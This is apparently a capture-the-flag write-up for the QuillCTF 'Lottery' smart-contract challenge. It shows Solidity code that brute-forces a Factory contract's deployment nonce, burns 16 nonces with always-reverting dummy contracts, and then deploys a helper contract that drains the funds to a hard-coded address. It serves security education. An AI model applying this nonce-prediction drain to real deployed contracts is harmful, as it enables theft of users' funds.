> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfwriteup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/quillctf/lottery.md).

# Lottery

## Idea

The address `0x0A1EB1b2d96a175608edEF666c171d351109d8AA` can be deployed by the Factory contract with some specific nonce. I bruteforced the nonce:

```solidity
        for (uint256 i = 0; i < 100; i++) {
            address deployedAddress = factory.dep(_code);
            console.log("deployedAddress: ", deployedAddress);
            console.log("attacker balance: ", attacker.balance);

            if (deployedAddress == 0x0A1EB1b2d96a175608edEF666c171d351109d8AA) {
                console.log("Found! nonce is: ", i);
                break;
            }
        }
```

Here I found the nonce is 16. We have to deploy 16 dummy contracts via the Factory to set the correct nonce and deploy the actual contract that transfer all the money to us.

The dummy contract deployment must fail for us to get that money back:

```solidity
    function dep(bytes memory _code) public payable returns (address x) {
        require(msg.value >= 10 ether);
       
        assembly {
            x := create(0, add(0x20, _code), mload(_code))
        }
        if (x == address(0)) payable(msg.sender).transfer(msg.value);
    }
```

My dummy contract looks like this:

```solidity
contract Dummy {
    constructor() payable {
        require(msg.value >= 100 ether);
    }
}
```

The require statement will always fail so the deployed address is always `address(0)`. Repeat the deployment of this dummy contract for 16 times and then deploy the actual contract:

```solidity
contract Helper {

    constructor() {
        payable(0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e).transfer(address(this).balance);
    }
}
```

## PoC

{% embed url="<https://github.com/ret2basic/QuillCTF-PoC/blob/main/Lottery/test/PoC.t.sol>" %}
